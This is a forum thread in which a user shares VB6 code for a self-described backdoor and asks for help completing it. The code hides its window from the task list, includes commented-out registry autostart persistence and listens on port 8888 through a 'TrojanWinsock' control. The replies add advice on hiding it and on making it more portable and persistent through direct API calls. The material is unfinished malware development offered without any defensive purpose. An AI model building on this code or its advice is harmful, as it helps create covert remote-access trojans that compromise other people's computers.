Sign in to follow this  
Followers 0
ThePlague1988

Please Help With VB6 Backdoor

3 posts in this topic

I forgot to search the forum before posting this thread. So please feel free if I double posted to tell me.

Okay here is what I've got so far in my program (VB6 Program).


Private Sub Form_Load()
Me.Visible = True
App.TaskVisible = False
' Dim Reg As Object
' Set Reg = CreateObject("WScript.Shell")
' Reg.RegWrite "hkey_local_machine\software\microsoft\windows\currentversion\runservices\" & _
' App.EXEName, App.Path & "\" & App.EXEName & ".exe"
TrojanWinsock.LocalPort = 8888
TrojanWinsock.Listen
End Sub

Private Sub TrojanWinsock_Close()
TrojanWinsock.Close
TrojanWinsock.Listen
End Sub

Private Sub TrojanWinsock_ConnectionRequest(ByVal requestID As Long)
TrojanWinsock.Close
TrojanWinsock.Accept requestID
End Sub

Private Sub TrojanWinsock_DataArrival(ByVal bytesTotal As Long)
Dim GotDat
TrojanWinsock.GetData GotDat
TrojanWinsock.SendData GotDat
End Sub

Private Sub TrojanWinsock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
TrojanWinsock.Close
TrojanWinsock.Listen
End Sub

But what I was wondering, is there something missing in here

that should be in this code and isn't. Any help would be appreciated.

Thanks in advance.

0

Share this post


Link to post
Share on other sites

app.taskvisable=false

0

Share this post


Link to post
Share on other sites

The script in itself doesn't actually do anything at all.

And even if it did... you should have called the API directly instead of dropping a control into the form. One of the reasons why is because VB6 uses wrapper classes for that control. These libraries simply aren't going to be installed on most computers. And RegCreateKeyEx should have been used instead the windows script host.

0

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0